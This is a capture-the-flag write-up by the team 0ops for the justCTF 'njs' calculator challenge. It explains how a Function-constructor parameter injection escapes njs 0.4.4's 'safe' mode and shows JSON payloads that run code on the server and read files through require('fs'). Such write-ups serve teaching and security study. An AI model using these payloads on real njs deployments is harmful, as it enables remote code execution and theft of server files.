# njs Writeup by 0ops

In this challenge we have a simple calculator running on njs, a javascript
engine for nginx. After reading the source code we can know that the result is
calculated by chaining a series of function calls inside class Calculator.
Notice the toString function:

```  
Calculator.prototype.toString = function(prop) {  
if(prop) {  
return this.result[prop]  
}  
return this.result;  
};  
```

We can leverage this function to get any child of `this.result`, then assign
it back to `this.result`.

Just as other js sandbox escaping challenges, we start by finding a way to get
a function constructor, which could give us a chance to run arbitrary script.
This could be done by using
`[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""}]`,
which literally means `calc.result.constructor.constructor`. Then we use
`addEquation` to call this constructor function with two parameters. The first
one is the parameter of the function, and the second is the code that we want
to execute:

```  
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b","y":"return
114514"}]  
```

But the function could not be created and the engine raised error `TypeError:
function constructor is disabled in "safe" mode`. We should quickly realize
that some code audit might be helpful to bypass this restriction. Searching
the error message led us to the implementation in
https://github.com/nginx/njs/blob/0.4.4/src/njs_function.c#L894. Njs made an
exception for `new Function('return this')`, which is often used to get the
global object in a portable way. This means the last parameter of the function
constructor must be `return this`, leaving us only the first parameter
controllable. So, how njs creates a function? This piece of code shows us the
answer:

```  
njs_chb_append_literal(&chain, "(function(");

for (i = 1; i < nargs - 1; i++) {  
ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));  
if (njs_slow_path(ret < NJS_OK)) {  
return ret;  
}

if (i != (nargs - 2)) {  
njs_chb_append_literal(&chain, ",");  
}  
}

njs_chb_append_literal(&chain, "){");

ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));  
if (njs_slow_path(ret < NJS_OK)) {  
return ret;  
}

njs_chb_append_literal(&chain, "})");  
```

Without any filtering, the first parameter of the constructor is appended
right after "(function(" and before "){", giving us a chance to close the
bracket and inject code into the parameter field. After a bit of fuzzing, we
finally can get our code run in the server:

```  
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b){/*your
code here*/}+function(","y":"return this"},{"op":"result","x":"","y":""}]  
```

Then we can use readdirSync() and readFileSync() to read the flag out. The
final exploit is

```  
First request to get the filename of the flag:  
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a1,b1){return
require('fs').readdirSync('/home/')}+function(","y":"return
this"},{"op":"result","x":"","y":""}]

Second request to capture the flag:  
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a2,b2){return
require('fs').readFileSync('/home/RealFlagIsHere1337.txt')}+function(","y":"return
this"},{"op":"result","x":"","y":""}]  
```

Flag: `justCTF{manny_manny_bugs_can_hide_in_this_engine!!!}`

Original writeup (https://github.com/0ops/ctfs-2021/tree/main/justCTF/njs).